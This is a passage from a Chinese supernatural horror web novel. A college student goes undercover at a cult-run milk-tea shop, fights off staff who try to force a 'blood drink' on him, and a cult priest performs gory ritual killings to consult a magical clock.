但郁樹的关注点不在他的笑容如何诡异上——沃德牙缝间的那些东西让他觉得范围,他忍不住再次提醒:“沃德,咱就漱漱口吧,口腔卫生你得注意啊!” 说完,他也不理会对方什么反应,微微仰起脸看向柯璆:“你们刚刚在说什么?” “你想吃什么?”柯璆直接忽略掉他的问题,转身往外走。 郁樹顿觉不妙,急忙追上去,然后走出店门,确认周围没有第三个人的时候,小声道:“你可千万别喝这家的奶茶,里面加了东西。” 柯璆垂眸看着那双淡紫色的眼睛:“我知道。” 郁樹眼瞳睁大:“你知道?知道你还和沃德那么近乎?” “这是为了更好的调查。”一来揪出达贡奶茶店背后隐藏的势力,二来可以趁此机会让德里克亲眼看看,他口中的普通人究竟有多不普通,三来再次确认郁樹的立场。 坦白说,他也认为郁樹不是对立方,但小心驶得万年船,这么多年,他可没少见过背刺的事。 郁樹未做他想,反而将自己知道的和盘托出,还叮嘱对方注意安全。 “我真觉得他们是有组织有纪律的犯罪集团,靠奶茶销货,你是不知道我送货时看见的那些顾客,真是一个比一个瘦骨嶙峋,还疯疯癫癫的,那模样绝对是吸了。” 柯璆再次提取到关键词,提议道:“去我家边吃边聊吧。” “啊?可以吗?”郁樹可从来都没想过会有这种展开,顿时有些忐忑。 柯璆却继续循循善诱道:“这个时间外面哪有夜宵,说话不方便,容易隔墙有耳,尤其你说的那些内容,你也不想让那个团伙提前有所准备吧?” 郁樹陷入沉默,这……他很难拒绝啊…… 第25章 卧底 郁樹还是婉拒了,虽然对方说的有道理,但他今天的重点还真不是吃夜宵,而是想要跟对方举报达贡奶茶店,再加上他下班就已经十二点了,他自己第二天是不用上班的,人家柯警官还得上班呢,不能给人家添麻烦,再说人家都说了晚上不吃东西。 不过外面的确不安全,谁知道会不会被什么人听去,还是得找个适合交谈的地方才行。 思来想去,郁樹觉得还是去警局更合适,于是便问柯璆的意见。 柯璆不经意地眉尾微挑,墨绿色的眸子闪过一抹锐光:“当然可以。” 他也挺想看看郁樹葫芦里卖的什么药的。 于是柯璆便开车带郁樹前往目的地,只不过这个目的地在郁樹看来是阿卡姆警局,在柯璆看来却是隐藏在阿卡姆警局深处的阿卡姆异管局。 到达警局大门,肉眼无法察觉到的空气墙被柯璆的车子撞破,一道波纹之后,汽车停在异管局大院内,柯璆带郁樹下车。 异管局24小时都有人,相比与白天,这里的夜晚反而是更热闹的—— 异端最喜欢在夜间活动,阴冷与黑暗的环境是它们赖以生存的必要条件,也是它们制造污染、散播恐怖的绝佳时机,因为人类这种趋光生物往往在夜晚更加脆弱。 两人并肩往办公楼走,柯璆问:“你是想公事公办,还是单独跟我说?” 郁樹思考了一下,“公事公办吧还是。” 他想的很简单,如果真的能揪出这个贩毒集团,对柯璆来说也是大功一件,说不定还能拿个功勋奖章,获得首相的接见。 旁边,柯璆看了他一眼,没再多说什么,直接带人进入一个房间,叫贺铮过来做记录。 见对方没拿自己说的话当儿戏,郁樹很是高兴,将自己工作这几天遇见的所有情况都说了一遍。 过程中,柯璆注意到一件事:“你还记得那些送货地址吗?” 郁樹揉了一下后勃颈:“这……不记得了,他们给我的手机上有导航,连上配送车就走了,我都不用看路,而且……我确实不怎么认路,外面又太黑了……” 他越说,头就越往下低,仿佛做错事的孩子。 贺铮急忙安慰他:“没事,我们队长会知道的。” 哪怕现在知道眼前的男生大概率不是普通人,贺铮依然对他有一种莫名而来的保护欲,甚至都不希望他皱起眉头,连他自己都无法解释这种感觉因何而来。 兴致勃勃间,他察觉到旁边有一道锐利的目光正盯着自己,顿时有些慌张,自己没说错话吧? 就在这时,郁樹笑呵呵道:“那是当然,柯警官一定能查到那些地址的。” 柯璆没有说话,其实调查员也能查出那些地址,但在线索极其有限的情况下,无异于大海捞针,费时又费力。 他自己倒是能够快速查到那些地址,但不是在这种情况下,看来是时候找借口让“小柯”从首府回来了……- 吐完那些腥臭难闻的黑水之后,惟尔发现自己不仅没有变得更加虚弱,反而意外拥有了一丝体力,胃部也开始出现正常的饥饿反应,对食物也产生了该有的欲望。 在此之前,他唯一想要入口的东西就是达贡奶茶,其他无论是吃的还是喝的,只要见了他就恶心,甚至一度对自来水充满厌恶,连洗澡都成了最大的难题。 但现在,他无比渴望好好洗个澡,吃顿热乎乎的美食,然后舒舒服服地睡上一觉,他似乎已经很久都没有合过眼了? 惟尔自己都记不清了,他深吸一口气,将自己浸在浴缸里,然后睁开眼睛,盯着浴室顶灯仔细思索。 究竟为什么会发生这种转变呢? 一切似乎都是从那杯奶茶开始的,难道是这次的奶茶里加了什么别的东西? 洗完澡,惟尔余光瞥见剩余的那杯奶茶,恶心的感觉再次冲击着肠胃,他艰难忍受着走了过去,也许查查这里面都有什么成分,就一清二楚了。 但之前的奶茶他都没检查过,又怎么知道里面是不是多了其他成分? 想到这里,惟尔决定再点一杯奶茶,除非达贡奶茶店后续的所有奶茶里都添加了新成分,否则两杯一对比,结果肯定一目了然。 找回理智的感觉真好,惟尔咬着大拇指,解锁手机,来到这几天常用的页面,却赫然感觉哪里不对劲,但具体是哪里他又说不上来,只是一眼看去,那个熟悉的图标不见了,难道是被自己移到别的地方去了? 他盯着手机屏幕,从上到下,从左到右,从第一页一直翻到最后一页,却始终都没看见那个由无数只眼睛组成的app图标,历史下载记录里也没有,就好像它从来都没出现过一样。 这是什么情况?自己明明在那个app上面点了无数杯奶茶,桌上放着那小半杯奶茶就是证明,可为什么点餐app不见了? 惟尔又去小程序里看了下,依然毫无踪迹,难道是自己记错?不可能啊,付款记录总能证明吧,他又去查了最近的付款记录,结果却显示,这段时间以来,他从来都没有消费过,但账户里却莫名消失了一大笔钱,去向未知,连银行系统都查不到钱款去向。 但剩余的那小半杯奶茶却证明一切都真实发生过,惟尔想了想,手机也许是被黑客攻击了,而这个黑客很可能就是达贡奶茶家的,还趁机划走了他一大笔钱,既然手机无法点餐,那就去店里买,好好的店面总不会凭空消失吧? 惟尔换了身衣服就冲出门,他现在迫切地想要知道达贡奶茶的真相,想知道是谁在背后害自己,更想知道自己又是如何恢复理智的。 车子在路上急速行驶,很快来到那个熟悉的拐角,但结果却令惟尔无比失望—— 拐角空无一物,空空荡荡,别说奶茶店了,连一块砖都没有。 沐浴着外面灿烂而耀眼的阳光,惟尔整个人都开始恍惚,好不容易找回理智的那点喜悦全都被冲淡,这些虚虚实实真真假假,让他非常怀疑自己是不是得了什么精神妄想症。 难道一切都只是一场梦? 但时间确实在向前推进,那杯剩余的奶茶也猩红得让人无法忽视,那消失的app和奶茶店又作何解释? 惟尔坐在驾驶室里,双手捧住脸,疯狂揉搓自己的眼睛,直到满目都是星星点点的雪花粒,他才睁开眼睛。 视线模糊不清之际,他看见一个人正朝着自己的方向走来,随着对方走近,惟尔的视线也恢复清明,待到看清来人之后,登时眼前一亮,面露喜色—— 这不就是那晚给他送奶茶,还劝他别喝的奇怪男生吗?! 惟尔瞬间振奋,激动地推开车门,迎了上去……- 郁樹最近属实是有点激动,长这么大,他从来都没幻想过自己也能有当“卧底”的一天,但最近,这个想到不敢想的梦却实现了,虽然实际上只是个编外热心群众,那也很厉害了,他可是在协助警方抓捕贩毒团伙,到时候罪犯落网,功勋奖章上必有他的一份力量。 这可真是太光荣了,本来他打算举报完就离职的,结果柯警官试探性地说出了这个提议,郁樹想都没想就答应了,一个普通人这辈子能有几次高光时刻,说不定这就是他唯一能拥有的高光时刻了,错过绝对后悔一辈子。 于是郁樹留在达贡奶茶店继续做那时薪一百的工作,每天领着工钱的同时,打起百分之二百的精力关注奶茶店员工的一举一动,暗中留意奶茶店的各种动态,定时和柯警官汇报自己的发现,不是郁樹沾沾自喜,他现在真有点特工的感觉。 但可惜的是,除了他之前举报的那些内容,达贡奶茶店再没什么新鲜事发生,弄得郁樹很是发愁,最近几天,他的工作任务就是送外卖,按他每天送餐的数量来看,达贡奶茶店又迫害了不少人,如果不能尽早将他们捉拿归案,恐怕还会有更多的受害者。 但郁樹也明白有些事是急不来的,如果不能一举攻破,受害者可能会比现在多得多,所以他只能等。 不过感觉应该很快了,柯警官给了他一个追踪器和一个迷你监视器,让他分别放在配送车和奶茶店里,有了这两个东西,警方一定能更快掌握达贡奶茶店的犯罪证据,早日将犯罪分子缉拿归案。 郁樹怀揣着期待继续工作,最近也不知是怎么了,每个和他搭班的人都在劝他喝奶茶,有的是循循善诱,喝个奶茶吧唧着嘴馋他,有的是威逼利诱,扬言不喝奶茶不让他下班。 笑死,郁樹从第一天上班开始就不想喝那玩意儿,一堆满满毒料的东西,喝下去恐怕就离死不远了。 他本以为明确拒绝就能规避掉那些恶意,却没想到那群人竟然合伙把他围起来,四个固定住他的手和脚,一个箍住他的腰,一个捏着他的下颌骨迫使他张嘴,最后一个端起那杯猩红的液体就要往他嘴里灌。 “听话,喝吧,我就说你会成为店里的招牌,现在主教大人都等着享用你的灵魂呢!” 郁樹愤怒又无语,这帮人是不是喝有毒奶茶直接把脑子喝没了,说的这是什么离谱发言?! 看着对面那张满是癫狂的脸,他再也无法把对方和那个人事小姐姐联系在一起,看来这个团伙就是这样打这招聘的旗号,唆使引诱他人吸毒,怪不得时薪一百还极其缺人,那哪是工资啊,那明明是买命钱。 但自己的命可不能搭在这里,他还有太多事要做,弟弟还等着和他团聚呢。 猩红的液体离自己越来越近,周围人的笑容也越发诡异,好几个甚至做出舔嘴唇的动作,着实恶心至极。 就在奶茶即将灌入嘴里的前一秒,郁樹牟足了劲两条腿一蹬一踹,双手蓄足力气猛地掰住那两个抓住他手腕的人,奋力一甩,紧接着一掌推开人事,一脚踢翻箍住他腰的沃德。 奶茶从人事手中飞出,悬在空中垂直下落,猩红的液体飞溅着溢出,仿佛在下血雨。 呼吸之间,那几人倒地不起,满目皆是惊恐与诧异,他们看见,那些坠落的血滴仿佛拥有意识一般,一滴都没落在郁樹身上,反而全都拐着弯地浇在他们脸上,就连那些眼珠都无一例外地全部用瞳孔盯着他们,就好像—— 它们在刻意躲避着什么一样…… 第26章 祭品 那几人躺在地上,身上是火辣辣的疼,尤其是被郁樹攻击过的地方,好像整个内脏都被凿穿了一般,疼得呼吸都困难。 行事至今,他们无往不利,从无败绩,很多时候甚至都不用他们出手,奶茶往那一放就有无数人贪婪地舔着嘴角求着要喝,可这次是怎么回事?奶茶灌到他嘴里都不喝? 他们还是第一次遇见这种情况,精心挑选的祭品竟然对血饮不感兴趣,一点都没想要品尝的意愿,甚至在外送的过程中也始终都没有被路上布置的东西吓到,这让他们不禁怀疑这个祭品究竟合格吗,祭祀大人真的没弄错吗? 但没人敢发出质疑,他们只是低级教徒,唯一的守则就是听命行事,否则主教大人就会收回对他们的赐福,他们也无法继续享用鲜妍多汁的血饮,那和死了没什么区别。 所以他们只能继续,但说不定祭祀大人还真没选错,一位客人只是到店里转了一圈,竟然毫不犹豫地点了那个祭品,这说明那祭品果然是有些独到之处的。 几人开始想尽办法让郁樹喝下血饮,这是成为祭品最关键的一步,只有喝下血饮,祭品的身体和灵魂才能被净化,才能成为合格的献祭原料。 尝试好几次都失败过后,几人便决定来硬的,客人、主教大人都等着呢,他们可没时间陪祭品玩过家家。 于是今天,他们出手了,为了确保万无一失,他们决定集体出动,哪怕祭品对血饮再不感兴趣,被一群人围着,他就只有任人宰割的份。 却不想,任人宰割的事的确发生了,但被宰的却不是那个手无缚鸡的祭品,而是联合在一起的他们,他们几个可都是被神明赐过福的人,身体刀枪不入,竟然被一个普通人打得满地打滚吗?这怎么可能?! 身上疼得撕心裂肺,连哭喊的力气都尽数丧失,但对他们的折磨却还在继续—— 由奶茶组成的血雨倾洒而下,点点猩红落在他们身上、脸上,起初只是有些痒,但渐渐地,那些红点就开始腐蚀他们的衣服、皮表,很快就在他们身上熔出一个又一个滋滋冒烟的血洞,深可见骨。 那是一种无法言语的疼痛,几人痛得几乎要晕厥,可偏偏他们的意识无比清醒,在感受那惨绝人寰的痛苦之余,他们听见了皮肉被熔解的声音,闻到了皮肉被腐蚀的味道。 几人惶然地望着那个瘦高的身影,莫名感受到一股难以名状的巨大威压,那似乎是死亡向他们发出的最后通牒……- 在行动之前,郁樹想的只是奋力抵抗一下,抓住机会就马上逃跑,却没想到自己竟然这么厉害,轻轻松松1V7,甚至还把那7个人打得躺在地上哼哼唧唧,充满畏惧地看着自己。 这些人可真是该啊,早知今日何必当初,不给他灌奶茶不就什么事都没有? 不过也幸好他们弱鸡成这样,不然倒霉的就是自己了,他可不想沾上那玩意儿,对身体有害不说,整个人还变得神经兮兮的。 但这些人的战斗力怎么会这么低呢?这不符合常理啊,一般这种违法分子不都是随身携带枪械、手段极其狠毒吗,怎么到他们这里反倒是自己这个弱男子占了上风?虽然他们的手段确实挺狠毒的,还不要脸,一群人欺负他一个普通大学生,简直是有够卑劣。 但话又说回来,这些人可是毒虫啊,毒虫能有多强壮?每次上班都能看见他们一边做奶茶,一边流口水,做完奶茶还要给自己来一杯,就这个喝法,他们能不弱鸡吗?众所周知,吸毒的人都极其瘦弱,身体薄的像纸,骨骼更是脆的如同玻璃。 这样一想倒也合情合理,得亏自己没有使出全力,不然万一当场撅折一个可怎么办?别功勋章没得到,先来个有期徒刑,那可就得不偿失了。 罪过罪过,自己怎么能对生命如此冷漠?虽然是毒虫,但毒虫的命也是命,可他们都违反犯罪知法犯法了,还在乎他们的命干什么?让他们活着残害更多的人吗?而且他们还想给他灌有毒奶茶,他要是还不反抗,难道任人宰割,跟他们一样沦为毒虫? 还是那句话,并不是所有人都是人。 想通这一层之后,郁樹释然了,他们活该被打,活该躺在地上起不来,甚至还被打轻了,自己这细胳膊细腿能有什么力气,至于让他们哭嚎成这样?说不好是在那装,打算讹自己呢。 奶茶腾空,血点往下坠落,在那些血点落在自己身上之前,郁樹一个跃步轻巧躲开,而后看也不看地上的那几人,头也不回地走出奶茶店,姿态之潇洒,步伐之畅快,仿佛刚奋勇杀完敌寇的大将军。 走在街道上,盛夏的阳光都变得温柔起来,郁樹急忙将方才发生的一切报告给柯璆,还问对方自己不会被定个打架斗殴的罪名吧。 他正低头看手机等待对方的回答呢,忽然感觉头顶的太阳不见了,眼下出现一双看起来造价不菲的鞋子,跟自己脚尖对脚尖。 郁樹虽然穷,但是在尚青北的熏陶下,也拥有了一眼就能分辨出高定的能力,对面那双鞋看起来十分低调,似乎只是双普通的皮鞋,但皮料表面每一个纹理都彰显着奢华,这品味绝不是小富之家的水准。 但问题是这样的人为什么会站在自己面前?以他的社交范围来说,柯璆和尚青北就是他所知的豪门天花板了。 手机响了一下,是对面回复的消息,郁樹都没时间查看,抬起头迎上一双血红色的眼睛,瞬间有些晃神,这世界上竟然还有第三个和惟尔长相类似的人?是因为女娲对前两个作品不满意吗?前几天送奶茶看见的那个顾客是邋里邋遢疯疯癫癫版,面前这个是打扮精致但营养不良版,仔细对比起来,还是惟尔本尊更有神韵呐,怪不得女娲一连捏了三个才满意。 但对方找自己干什么?而且那眼睛里的疯狂又是怎么回事?难道是达贡奶茶店派来的?贩毒这么赚钱吗?一个小弟都能富成这样?! 就在他预备要逃走的时候,对方忽然双手抓住他的胳膊,微弓着背问:“前几天是不是你给我送的奶茶?” 听他这么问,郁樹上下打量对方一眼,还别说,那晚的惟尔2号捯饬捯饬说不定就是这人的样子,当然,也可能更瘦更苍白,看起来更死气沉沉,不过眼底的癫狂倒是如出一辙,看来是瘾又上来了。 他掰开对方抓着自己的手,退到一个向前可以进攻,向后可以逃跑的安全距离,冷漠道:“买奶茶直接去店里,或者线上点单,我现在已经下班了。” 应该算是下班了吧?这种情况下自己还能去上班吗?卧底任务是不是黄了? 郁樹忽然拍一下自己的脑门,怎么现在才意识到如此关键的事情?自己这个脑子啊,真的是…… 对面,见他没有否认,惟尔的心情直接澎湃起来,果然一切都是真的,他就知道自己是不会有什么妄想症的。 他马上上前一步,激动地再次抓住郁樹的胳膊:“不不不,你误会了,我不买奶茶,我是想让你帮我个忙。” 郁樹此时此刻一脑门子官司,全部的心思都在琢磨卧底任务怎么办,质疑自己是不是冲动了,会不会毁了柯警官的安排,哪有功夫管别人,再加上经历过刚才差点被人强灌毒奶茶的事,他现在最烦别人对自己动手动脚。 于是他一把挥开对方禁锢自己的双手,没好气道:“不好意思,我还有事,你找别人吧。” 话音未落,他抬腿就跑。 惟尔当场愣在原地,三秒钟后,他反应过来,跳进车里就开始追。 炎炎夏日里,郁樹急速奔跑,脸上后背上都沁出一层汗珠,刚想喘口气,猛然发现那人竟开着车追了过来,顿时跑得更快了,街景飞速在他身边后退。 惟尔盯着前方那个急速奔跑的影子,将油门踩到了最大,可结果一眨眼的工夫,那个白衣猎猎的身影竟然消失了?! “嗤——”地一道急刹划破燥热的夏日,惟尔的头猛地摔在方向盘上,又弹向座椅,他望着前方,两眼却空洞无光:自己刚才的确看见那晚送外卖的人了吧?可为什么一眨眼人就不见了?人能跑过全速行驶的跑车?一切都真是发生过,还是自己又陷入妄想了? 一连串的问号盘亘在他脑海里,感觉头都要爆炸了,就在这时,一位警员走过来敲了下他的车门:“惟尔先生是吗?有件案子需要你配合调查一下。” 惟尔有些烦躁,这条路没有限速标志,交警创收竟然创到自己头上来了,顿时眉心一拧,语气不善道:“什么案子?” 那位警员依旧维持着礼貌,心平气和答:“是有关达贡奶茶店的案子。” “!!!”惟尔的目光瞬间振奋,连警方都知道达贡奶茶店的事,一切果然不是自己的妄想!但那个送外卖的男生又是怎么回事? 不过眨眼间,他又陷入了自我怀疑……- 跑回宿舍,郁樹马不停蹄地洗了个澡,而后一边擦头发一边看手机,终于看到柯璆给他的回复: 【案情有重大进展,卧底任务取消,最近我需要常驻警局,麻烦你帮忙照顾一下小柯,月薪还是和之前一样。】 第27章 祭祀 没想到兜兜转转又回到看孩子的工作,不过这样更好,小柯是个过分成熟且超级乖巧的孩子,照顾他可比做其他工作轻松多了。 他回了个【OK】,刚要放下手机,就听见了敲门声,便放下毛巾过去开门,结果就看见一颗墨绿色的头站在门口,旁边是笑容有些不自在的贺铮。 来的可真是迅速,不知道还以为信息就是隔着门的发的。 郁樹抬手过去想要揉揉那头墨绿色的头发,没办法,因为弟弟的原因,他对小孩子充满喜欢,喜欢的方式就是像长辈那样揉小孩的脑袋,再加上小柯是个特别有意思的孩子,跟只满怀戒备的小猫一样,一碰就躲,这就让郁樹更想揉他的头了。 但结果如往常一样,小柯冷冰冰地盯着他,身子后撤,头轻轻一偏,就躲开了郁樹的“魔爪”。 瞧瞧,反应速度也和小猫一模一样,灵敏得很。 虽然有种对方越不让做什么,就越想做什么的心理,郁樹也不会太过无视对方的意愿,顶多就是逗着玩似地试探一下,对方躲开他也就不再继续了。 他收回手,笑着看向一旁的人:“多谢贺警官,还麻烦你特意跑一趟,其实我直接去柯警官家里就行。” “没事,不麻烦,”贺铮揉了下笑得有些僵硬的脸,低头看了一眼默不作声的小男孩,“柯……小柯从首府回来直接去了警局,柯队忙得分不开身,我就自告奋勇了。” 看来达贡奶茶这个案子果然是很棘手,柯警官都没时间看顾小柯了,这孩子也挺可怜,父母都过世了,只有一个哥哥,哥哥却还是个工作特别忙的警官,估计一赶上大案要案就没时间陪他,怪不得小小年纪成熟成这样,唉,也不知道没遇见自己之前,小柯是怎么过的。 这样一想,他对小柯就更加怜爱了,那只手又忍不住想要揉一揉对方的头表达一下安抚,但毫不意外地,依然被小柯轻巧躲开,活像一只灵敏的猫。 郁樹的手抓着空气揉了揉,正不知该说些什么,贺铮却在小男孩的目光下硬着头皮说:“能在你这里借个卫生间吗?” “?”虽然有些意外,但人有三急,这也是不可避免的,郁樹急忙让出门口的位置,“你看看我,光顾着说话了,你们进来坐坐吧,现在是暑假,宿舍里只有我一个人。” “谢谢。”贺铮低头进入,看见一个门就要拉开。 郁樹急忙制止:“诶,那是淋浴间,卫生间在对面。” 谁知贺铮握住门把的手却并不松开,反而呼出一口气,回头道:“我……我就是想冲个澡,外面太热,出了一身汗。” 郁樹一时有些呆滞,见过借厕所的,没见过借淋浴间冲澡的,贺警官这是出了多少汗,换洗衣服都没有也依然要冲澡。看来达贡奶茶店的案子是真忙啊,可能连回家洗澡的时间都没有,也怪不得柯警官要把小柯交到自己照顾。 人民公仆忙成这样,郁樹心里暖融融的,也没觉得对方上来就知道淋浴间在哪是不是有问题,立刻道:“那你去吧,洗发水沐浴露什么的用我的就行,我给你找身换洗衣服。” “啊谢——不用不用,真的不用,我这制服有速干功能,一过水就干了,不说了,我先进去了,真的不用给我找换洗衣服。”贺铮本想道谢,却忽然注意到郁樹身后那双墨绿色的眼睛,登时心跳一紧,虽然不知道柯队长为什么会这样,但还是识时务者为俊杰,再说他本来就不是来洗澡的,便急忙找了个借口谢绝,说完就迫不及待地冲进淋浴间,利落锁门。 郁樹看着门板眨了下眼,没再继续客气,转身带着小柯往里走。 他们的宿舍格局很简单,进门一边是淋浴间,另一边是卫生间,再往里是两个相对的洗手池,继续往里就是四张上床下桌,然后就是阳台,整体来看,宿舍环境还是挺好的。 他让小柯坐在自己的椅子上,自己则随意坐在舍友的椅子上有一搭没一搭地跟对方聊天。 这个时候,贺铮在淋浴间里拿出好几个标本瓶,分门别类地采集着郁樹洗过澡的样本。 真不知道柯队长为什么会执着于探究郁樹的身份,“非必要,不探究”可是他们所有调查员的第一行动准则。 就算郁樹真的不一般,只要他目前没有散播精神污染危害人类,异管局最好的选择就是暗中观察,否则一旦让异端察觉到自己被感知,那么它散播精神污染的范围就会成倍增加,到时候将会有更多的人被污染。 贺铮有种强烈的感觉,他们的队长柯璆似乎变得和之前不一样了,但他目前还不敢确认自己的判断—— 要指认一个S级调查官受到了精神污染,他需要强有力的证据。 贺铮盯着手里的标本瓶,也许他还应该采集点柯队长的生物组织痕迹……- 达贡奶茶店地底,那几个店员跪伏在一道黑影脚边,不住地忏悔: “祭祀大人,我们真的没没说谎,这一切真的是那个祭品做的。” “是啊祭祀大人,我的内脏仿佛被踩瘪了一样疼,就是被他推的。” 黑影戴着宽大的兜帽,整张脸都覆盖着一张画满诡异符文的面具,显得更加神秘莫测、阴森可怖,他转过身来,还没说话,地下跪着的那几个人就瑟瑟发抖,求饶的话都连不成串: “祭……祭祀大……人,请别……别收回……教主大人给……给我们……的赐福……没有赐福……我们……我们真的……会死的……” 此时此刻,他们也说不清楚到底是身上永无止境的疼痛更可怕,还是失去性命更可怕,他们只是本能的畏惧着死亡,畏惧着失去好不容易才能拥有的长生,要不是教主大人的赐福,他们早就沦为灰尘了,活着可太好了。 在成为教徒之前,几人都是各个行业的成功企业家,每年的缴税额都是常人难以想象的天文数字,过着极其奢靡的生活,但天大的财富在自然的生死循环面前都是无用的,随着年龄增大,他们的身体机能自然下降,患上了各种疾病,虽然跟普通人比,他们的身体在经年累月的精心照料下比同龄人健康了不知道多少倍,即使生病也能得到无微不至的治疗和护理,就连无数人直到死也不一定能排到的器官,他们也能毫不费力地说换就换。 可哪怕他们享受了数不尽的特权,度过了极其奢靡享乐的一生,他们依然想要阻止死亡向自己逼近的脚步,活着这么美好,谁能活得够呢?谁知道有没有轮回?即使有轮回,谁又能保证下辈子还能这样纸醉金迷的度过? 于是在寻求长生之法的道路上,他们遇见了达贡的教徒,又在一系列考核下成为达贡的教徒,接受了教主大人的赐福,获得了年轻的身体和永不枯竭的生命。 现在,他们身上是持续不断的疼痛,那个大学生明明只是在挣脱的过程中推了/踹了他们一下,甚至看起来都没有用力,他们却如同被重达几吨的大象踩了好几脚,内脏似乎都被踩瘪了,身上更是疼得无法用语言来形容。 那可是被教主大人赐过福、永远都不会枯竭的身体啊,他们深刻意识到,如果不是教主大人的赐福,寻常的身体绝对会当场被踩成一滩烂泥,就像他们每日喝的血饮一样。 现在,他们最怕的就是眼前的祭祀收回教主大人给他们的赐福,那一定直接宣告着他们的死亡,他们不想死,哪怕是疼得撕心裂肺,他们也想活着,只要活着,一切就都有希望,说不定还能祈求教主大人再次赐福,减轻他们的疼痛。 一袭黑色的人影发出一道冷笑:“七个人都控制不住一个祭品,当初是谁说要为主教大人贡献绵薄之力的?你们的贡献就是放跑我好不容易找到的,最符合吾主需要的祭品?这赐福给你们有什么用?” “我们愿意献上全部财富!”几人慌忙磕头求饶。 黑影低头,覆着面具的脸却能显现出不屑于阴狠:“你们的财富?你们的财富始终都是达贡的。” 说完,也不管那几人磕得头破血流,黑影直接伸出一手,掌心向上,嘴里发出一串晦涩难懂的音节。 紧接着,一滴滴红色血珠从那几人身上飘出,彩带一般汇集到黑色人影的掌心里。随着血珠越飘越多,那几人的身体迅速枯萎老去,皮肤变得皱巴,上面布满老年斑,发丝愈发花白的同时大把大把脱落。最后,他们全身上下只剩下皮肤包裹着骨头,仿佛干尸一样不甘地仰着头,瞪着双眼,张大嘴巴。也许是因为瞪得太过用力,他们的眼珠竟直接从眼眶脱落掉在地上。 黑影掌心收拢,抬脚迈步,“啵——”一声,似乎有什么东西破了,他没有低头,继续走向黑暗深处。 在他身后,几颗被踩得爆裂的眼珠干瘪地趴在地上,坚硬的瞳仁无神地盯着那七具了无生气的干尸……- 回到圣地,为了避免再次竹篮打水一场空,祭祀直接将收割祭品的任务委派给身边的得力干将,然后查看其他祭品的情况,却忽然发现,好几个血饮转化程度接近100%,即将献祭给主的祭品竟然摆脱了控制?! 这怎么可能?! 第28章 献祭 祭司百思不得其解,献祭仪式马上就要开始了,好不容易饲养好的祭品却变了质,现在去哪找这么多符合条件的祭品? 怎么会这样?难道是有别的势力渗入到教徒中?早知道就留那几人一条性命,不过也没关系,用圣物也能溯源近日发生的事,就是需要付出点代价,但这是必要的,每次一神迹都势必伴随着流血牺牲,更何况是迎接神明降临如此伟大的事迹,能成为神明降临的阶梯,是那些人的荣幸。 祭司叫来一位教徒,带对方走进一个房间。 房间屋顶点着繁复精美的吊灯,造型之精巧,仿佛几千年前流传下来的古迹。 中正坐落着一樽一墙高的硕大落地钟,相比于造型繁复精美的吊灯,落地钟明显更加别致,周身散发着细腻润泽的金色光泽,淡淡反光的金属表面呈现出一种历史的厚重感,仿佛它已经存在了上万年,见证过无数兴衰成败。 落地钟下方是一个祭台,祭司站在落地钟前,指使教徒跪下。 达贡教会内部等级分明,除了主教,祭司就是最等级最高的,再加上一次次洗脑加神迹展示,教徒们本就对他们产生了由内而外的崇敬神往,自然二话不说就跪了下去,甚至还觉得特别幸运,这个级别的圣物可不是他这个小小教徒能够瞻仰的,祭司大人竟然会带他过来,这分明是祭司大人对他的嘉奖! “扑通”一声,教徒的膝盖硬生生撞上冰冷的大理石地面,他却丝毫不觉得疼,反而双手扭转着交扣在一起,仰头望着落地钟,眼底燃烧着虔诚至极的炽热光芒。 祭司很满意,拍了下教徒的肩膀,而后拿出一把精致的短刀,刀鞘上的精致符文与他面罩上的如出一辙,毫不犹豫地滑向教徒的脖颈,仅仅一刀,教徒的头就完全与颈项分离,头颅缓缓下滑,滚落在冰冷的大理石地上,发出与他跪地时一样的“扑通”声,清脆却又莫名沉闷,而直到死,他的脸依然维持着那副虔诚而神往的表情。 祭司弯腰将教徒的头放置在祭台上的空盘里,然后在教徒虔诚的注视中,一刀一刀斩断他的身体,整整七七四十九块过后,祭司将那些身体碎块堆在教徒的头颅旁边,而后低声吟诵着一段常人听不懂的音节。 吟诵结束后,祭台上的尸块和头颅尽数消失,就连地板上残留的血迹都了无踪迹,仿佛刚才发生的一切都是幻觉。 紧接着,空旷寂静的空间里,落地钟的时针、分针、秒针终于开始转动,钟摆左右摇晃着发出悠扬而厚重的碰撞声。 祭司双手反转相扣,又吟唱了另一段晦涩难懂的音节,不多时,秒针、分针和时针都开始逆时针转动,钟摆的摆动频率不断加大,落地钟周身隐隐泛起一抹刺眼的白光。 透过花纹繁复而精美的面罩,祭司充满希望的望着眼前飞速倒转的落地钟,他知道不出几秒,落地钟就会将这段时间以来达贡奶茶店发生的事情一五一十地还原出来。而他也就能知道,那些祭品的转化进度为什么突然会被清零? 倒退旋转着,旋转着,落地钟忽然发出一声不大不响的“咔哒”声,就好像某个零件掉落一样,紧接着就是巨大的金属撞击声,整个房间都在震荡,祭司踉跄几下才堪堪站稳。 圣物今天这是怎么了?难道是对祭品不满意?看来一个人已经无法满足圣物的胃口了,以后增加到两个吧,多发展点信徒就好了。 祭司继续站在落地钟面前,如往常一样仰头望着上方,等着落地钟表盘上回溯达贡奶茶店近日发生的一切,想要在其中发现祭品转化进度清零的答案。 然而落地钟的钟摆忽然悬停不动,“当啷”一声砸在地上,不停逆向转动的指针更是直接从表盘上脱落。 祭司正讶异于眼前的这难以置信的场景,下一秒,一股黑烟从落地钟里面散发出来,带着一股呛人的、仿佛什么东西被烧焦一般的味道,迅速蔓延到整个空间,紧接着,脱落的指针竟然开始莫名转动,且速度极快,肉眼甚至都看不见那三根指针的残影! 祭司心里“咯噔”一下,这才真正意识到不对劲,想要做些什么让圣物恢复正常,也许是这次付出的代价不够,他立马又叫来一名教徒,毫不留情地砍掉对方的头颅,又如法炮制在那颗头颅的注视下,将对方的身体切成四十九块,和头颅一起放在祭坛上。 可这一次,晦涩的吟诵还没开始,一切就宣告了终结—— 那些尸体碎块一块一块向祭司扔去,仿佛在跟他玩躲避球的游戏,祭司艰难躲着,却依然有不少尸块砸在他身上,血液更是不停飞溅到他衣服上,哪怕一身黑,也能看出那上面的斑驳血迹。 最后,是一颗诧异、痛惊悚的头颅,带着会毁灭一切的姿态袭向祭司,那悍然张大的嘴似乎要将祭司整个吞没! 但祭司也不是吃素的,他张开一手,掌心向上,一团血雾就自那颗头颅飞进他的掌心,而后,头颅迅速变得干瘪,轰然坠地。 祭司刚要松一口气,下一瞬,更加浓烈的黑烟从落地钟里面冒出来,“咔哒”、“当啷”的零件掉落声此起彼伏,那种感觉就好像落地钟正在由内而外瓦解。 